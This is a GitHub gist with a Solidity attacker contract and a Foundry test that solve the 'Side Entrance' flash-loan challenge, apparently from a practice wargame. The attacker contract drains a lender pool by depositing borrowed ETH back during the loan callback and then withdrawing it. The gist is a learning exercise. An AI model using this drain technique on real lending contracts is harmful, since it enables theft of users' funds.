Skip to content

Instantly share code, notes, and snippets.

@Oluwatobilobaoke
Last active April 6, 2024 21:22
Show Gist options
  • Save Oluwatobilobaoke/dc39d3b63673903fea36c0b1101af73b to your computer and use it in GitHub Desktop.
Save Oluwatobilobaoke/dc39d3b63673903fea36c0b1101af73b to your computer and use it in GitHub Desktop.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "./SideEntranceLenderPool.sol";
import "forge-std/Test.sol";
contract Flashloan {
SideEntranceLenderPool provider;
address attacker;
constructor(address _provider, address _attacker) {
provider = SideEntranceLenderPool(_provider);
attacker = _attacker;
}
function startLoan(uint amount) external payable {
// address(provider).call{value: msg.value}("");
provider.flashLoan(amount);
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function execute(uint _amount) external {
// arbitrage, refinance loan, change collateral of loan
provider.deposit{value: _amount}();
// call{value: msg.value}("");
console.log("Attacker Balance", getBalance());
// provider.withdraw();
}
function withdraw(address _to) external {
provider.withdraw();
_to.call{value: getBalance()}("");
}
// Function to receive Ether. msg.data must be empty
receive() external payable {}
// Fallback function is called when msg.data is not empty
fallback() external payable {
provider.deposit{value: 1000 ether}();
// provider.withdraw();
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import {Utilities} from "../../utils/Utilities.sol";
import "forge-std/Test.sol";
import {SideEntranceLenderPool} from "../src/SideEntranceLenderPool.sol";
import "../src/flashloan.sol";
contract SideEntrance is Test {
uint256 internal constant ETHER_IN_POOL = 1_000e18;
uint256 internal constant ETHER_IN_POOL2 = 2_000e18;
uint256 internal constant ETHER_IN = 1_000e18;
Utilities internal utils;
SideEntranceLenderPool internal sideEntranceLenderPool;
address payable internal attacker;
uint256 public attackerInitialEthBalance;
Flashloan flashloan;
function setUp() public {
utils = new Utilities();
address payable[] memory users = utils.createUsers(1);
attacker = users[0];
vm.label(attacker, "Attacker");
sideEntranceLenderPool = new SideEntranceLenderPool();
vm.label(address(sideEntranceLenderPool), "Side Entrance Lender Pool");
vm.deal(address(sideEntranceLenderPool), ETHER_IN_POOL);
assertEq(address(sideEntranceLenderPool).balance, ETHER_IN_POOL);
attackerInitialEthBalance = address(attacker).balance;
console.log("attackerInitialEthBalance==>", attackerInitialEthBalance);
flashloan = new Flashloan(address(sideEntranceLenderPool), attacker);
vm.deal(address(flashloan), ETHER_IN_POOL2);
console.log(unicode"🧨 Let's see if you can break it... 🧨");
}
function testExploit() public {
/**
* EXPLOIT START *
*/
// log the contract balance
console.log("flashloan", address(flashloan).balance);
// log the contract balance
console.log(
"sideEntranceLenderPool",
address(sideEntranceLenderPool).balance
);
// 1. Deposit some ETH to the pool
flashloan.startLoan(ETHER_IN);
flashloan.withdraw(attacker);
/**
* EXPLOIT END *
*/
validation();
console.log(unicode"\n🎉 Congratulations");
}
function validation() internal {
assertEq(address(sideEntranceLenderPool).balance, 0);
assertGt(attacker.balance, attackerInitialEthBalance);
}
}
@Oluwatobilobaoke
Copy link
Author

Screenshot 2024-04-06 at 20 07 40 Test Result

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment